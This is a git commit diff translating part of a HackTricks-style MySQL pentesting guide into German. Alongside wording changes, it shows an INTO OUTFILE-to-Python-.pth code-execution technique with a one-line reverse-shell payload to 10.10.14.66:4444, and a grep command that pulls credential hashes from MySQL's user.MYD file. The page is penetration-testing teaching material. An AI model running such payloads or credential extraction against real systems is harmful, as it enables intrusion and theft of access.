Translated ['src/network-services-pentesting/pentesting-mysql.md'] to de

This commit is contained in:
Translator 2025-07-14 08:53:08 +00:00
parent 9521102e8d
commit 4d26d51639

View File

@ -1,15 +1,10 @@
# 3306 - Pentesting Mysql # 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **Grundinformationen** ## **Grundlegende Informationen**
**MySQL** kann als ein Open-Source **Relational Database Management System (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es basiert auf der **Structured Query Language (SQL)**, die das Management und die Manipulation von Datenbanken ermöglicht. **MySQL** kann als ein Open-Source **Relational Database Management System (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es basiert auf der **Structured Query Language (SQL)**, die die Verwaltung und Manipulation von Datenbanken ermöglicht.
**Standardport:** 3306 **Standardport:** 3306
``` ```
@ -116,13 +111,13 @@ Siehe in den Dokumenten die Bedeutung jedes Privilegs: [https://dev.mysql.com/do
#### INTO OUTFILE → Python `.pth` RCE (sitespezifische Konfigurations-Hooks) #### INTO OUTFILE → Python `.pth` RCE (sitespezifische Konfigurations-Hooks)
Durch den Missbrauch des klassischen `INTO OUTFILE` Primitivs ist es möglich, *willkürliche Codeausführung* auf Zielen zu erlangen, die später **Python**-Skripte ausführen. Durch den Missbrauch des klassischen `INTO OUTFILE`-Primitivs ist es möglich, *willkürliche Codeausführung* auf Zielen zu erlangen, die später **Python**-Skripte ausführen.
1. Verwenden Sie `INTO OUTFILE`, um eine benutzerdefinierte **`.pth`**-Datei in ein beliebiges Verzeichnis abzulegen, das automatisch von `site.py` geladen wird (z. B. `.../lib/python3.10/site-packages/`). 1. Verwenden Sie `INTO OUTFILE`, um eine benutzerdefinierte **`.pth`**-Datei in ein beliebiges Verzeichnis abzulegen, das automatisch von `site.py` geladen wird (z. B. `.../lib/python3.10/site-packages/`).
2. Die `.pth`-Datei kann eine *einzelne Zeile* enthalten, die mit `import ` beginnt, gefolgt von beliebigem Python-Code, der jedes Mal ausgeführt wird, wenn der Interpreter gestartet wird. 2. Die `.pth`-Datei kann eine *einzelne Zeile* enthalten, die mit `import ` beginnt, gefolgt von beliebigem Python-Code, der jedes Mal ausgeführt wird, wenn der Interpreter gestartet wird.
3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel `/cgi-bin/ml-draw.py` mit Shebang `#!/bin/python`), wird die Payload mit den gleichen Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als **root** aus → vollständige Pre-Auth RCE). 3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel `/cgi-bin/ml-draw.py` mit Shebang `#!/bin/python`), wird die Payload mit den gleichen Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als **root** aus → vollständige Pre-Auth RCE).
Beispiel `.pth` Payload (einzelne Zeile, keine Leerzeichen können in der finalen SQL-Payload enthalten sein, daher sind hex/`UNHEX()` oder String-Konkatenation möglicherweise erforderlich): Beispiel `.pth` Payload (einzelne Zeile, keine Leerzeichen können in der endgültigen SQL-Payload enthalten sein, daher sind hex/`UNHEX()` oder String-Konkatenation möglicherweise erforderlich):
```python ```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
``` ```
@ -270,9 +265,9 @@ Sie können sie extrahieren, indem Sie Folgendes tun:
```bash ```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
``` ```
### Aktivierung der Protokollierung ### Aktivierung des Loggings
Sie können die Protokollierung von MySQL-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem Sie die folgenden Zeilen auskommentieren: Sie können das Logging von MySQL-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem Sie die folgenden Zeilen auskommentieren:
![](<../images/image (899).png>) ![](<../images/image (899).png>)
@ -300,7 +295,7 @@ Konfigurationsdateien
- update.log - update.log
- common.log - common.log
## Standard MySQL-Datenbank/-Tabellen ## Standard MySQL-Datenbank/Tabellen
{{#tabs}} {{#tabs}}
{{#tab name="information_schema"}} {{#tab name="information_schema"}}